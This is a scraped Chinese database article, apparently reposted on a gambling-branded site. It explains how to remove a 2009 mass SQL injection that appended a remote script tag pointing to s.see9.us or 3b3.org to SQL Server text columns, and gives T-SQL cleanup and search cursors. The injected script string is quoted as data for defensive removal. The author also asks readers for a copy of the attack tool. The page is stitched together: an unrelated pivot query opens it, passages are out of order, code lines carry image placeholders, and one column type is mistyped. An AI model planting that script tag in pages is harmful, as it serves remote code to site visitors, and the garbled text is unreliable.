分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....

日期:2020-04-29编辑作者:数据库

现有两表A,B A表存储商品点击日志,B表存储商品 要求显示当天所有商品点击量列表并附带总数并按天排序 复制代码 代码如下: declare @sql varchar(2000) set @sql='select CONVERT(varchar(100), a.[Time], 23) as 时间,count(b.title) as 总数' select @sql =@sql+ ',sum(case b.title when '''+Title+''' then 1 else 0 end) as '+'['+Title+']' from (select distinct title from B) as B set @sql=@sql+' from A as a left join B as b on a.AId=B.Aid group by CONVERT(varchar(100), a.[Time], 23) order by CONVERT(varchar(100), a.[Time], 23) desc' exec(@sql) 显示结果时间总数商品1商品2商品32013-11-1151042013-11-10132111

 

 这段sql可以查到你的哪些表哪些字段包含某个指定字符.

这种sql注入攻击我怀疑应该是一种工具或称为病毒,但始终没有见过,如果哪位朋友有,希望给我一份,谢谢.

author:perfectaction
date  :2009.05
适用于sql 2005/2008
从去开始,有很多网站数据库的表的text、ntext、varchar、nvarchar字段内容末尾被加入"> </title> <script src=http://s.see9.us/s.js&gt; <或是3b3.org等字符

 

 

 

另外,这个旨在建立较为安全的程序帐号设置.并针对
"网站数据库的表的text、ntext、varchar、nvarchar字段内容末尾被加入"> </title> <script src=http://s.see9.us/s.js&gt; <或是3b3.org等字符 "
这种注入攻击而设计.

这个代码是针对sql 2005/2008.

 针对如上的这种sql注入攻击,如果由于某些原因不能更改程序,那么提供如下解决办法:

图片 1declare  @t  varchar(255),@c  varchar(255)  
图片 2declare  table_cursor  cursor  for 
图片 3select  a.name,b.name  from  sysobjects  a,syscolumns  b  
图片 4where  a.iD=b.iD  AnD  a.xtype='u'
图片 5AnD  (b.xtype=99  or  b.xtype=35  or  b.xtype=231  or  b.xtype=167)  
图片 6declare @str varchar(500)
图片 7--这里是你要替换的字符
图片 8set @str='"></title><script src=http://s.see9.us/s.js&gt;&lt;/script&gt;&lt;!--'
图片 9open  table_cursor  fetch  next  from  table_cursor 
图片 10into  @t,@c  while(@@fetch_status=0)
图片 11begin
图片 12    exec('update  [' + @t + ']  set  [' + @c + ']=replace(cast([' + @c + '] as varchar(8000)),'''+@str+''','''')')      
图片 13    fetch  next  from  table_cursor  into  @t,@c
图片 14end
图片 15close  table_cursor  deallocate  table_cursor;

首发csdn:http://topic.csdn.net/u/20090523/19/72041932-b65c-49c1-ad36-d2c63b38b174.html

图片 16--查某个指定字符出现在哪些表哪些字段:
图片 17declare @searchstr nvarchar(500)
图片 18set @searchstr ='3b3.org' --这里是你要查的字符内容
图片 19declare @t  varchar(255),@c  varchar(255) 
图片 20create table # (name varchar(256),cols varchar(4000))
图片 21declare  table_cursor  cursor  for
图片 22select  a.name,b.name  from  sysobjects  a,syscolumns  b  ,systypes c
图片 23where  a.id=b.id  and  a.xtype='u' and b.xtype=c.xtype
图片 24and c.name in ('char','nchar','varchar','nvarchar','text','next')
图片 25open  table_cursor  fetch  next  from  table_cursor
图片 26into  @t,@c
图片 27while(@@fetch_status=0)
图片 28begin  
图片 29    exec('
图片 30    set nocount on
图片 31    if exists(select top 1 1 from  [' + @t + ']  where  cast([' + @c + '] as varchar(8000)) like ''%'+@searchstr+'%'') 
图片 32    begin 
图片 33        if not exists(select 1 from # where name='''+@t+''')
图片 34            insert into # select '''+@t+''','''+@c+'''
图片 35        else
图片 36            update # set cols=cols+'','+@c+''' where name='''+@t+'''
图片 37        --select '+@c+' from [' + @t + ']  where  [' + @c + '] like ''%'+@searchstr+'%''
图片 38    end
图片 39    ')
图片 40    fetch  next  from  table_cursor  into  @t,@c  
图片 41end
图片 42close  table_cursor  deallocate  table_cursor;
图片 43select name as '表名',cols as '列名' from #
图片 44drop table #

本文由www.129028.com金沙发布于数据库,转载请注明出处:分析src=http://s.see9.us/s.js>亦或3b3.org注入攻击及解决方案探讨....

关键词:

SQL Server 2000的安全配置

SQLserver2000数据库应用非常广泛,一旦出现安全问题,造成的损失往往难以估量!应提前预防,防患于未然。这里,我...

详细>>

如何查看某个查询用了多少TempDB空间www.129028.com金沙

DECLARE @read BIGINT, @write BIGINT; SELECT @read = SUM(num_of_bytes_read), @write = SUM(num_of_bytes_written) FROM tempdb.sys.database_files AS DBFJOI...

详细>>

浅析SQL语句中GROUP BY的用法

GROUP BY 是分组查询, 一般 GROUP BY 是和 聚合函数配合使用,你可以想想 你用了GROUP BY 按 ITEM.ITEMNUM这个字段分组,那其他字...

详细>>

微软总是试图使它的软件安装尽可能地简单顺www.129028.com金沙

如果你没有特意记录安装日期,那么有没有办法从SQL Server里查询到呢?想想我们在安装的时候,肯定会有Windows认证登...

详细>>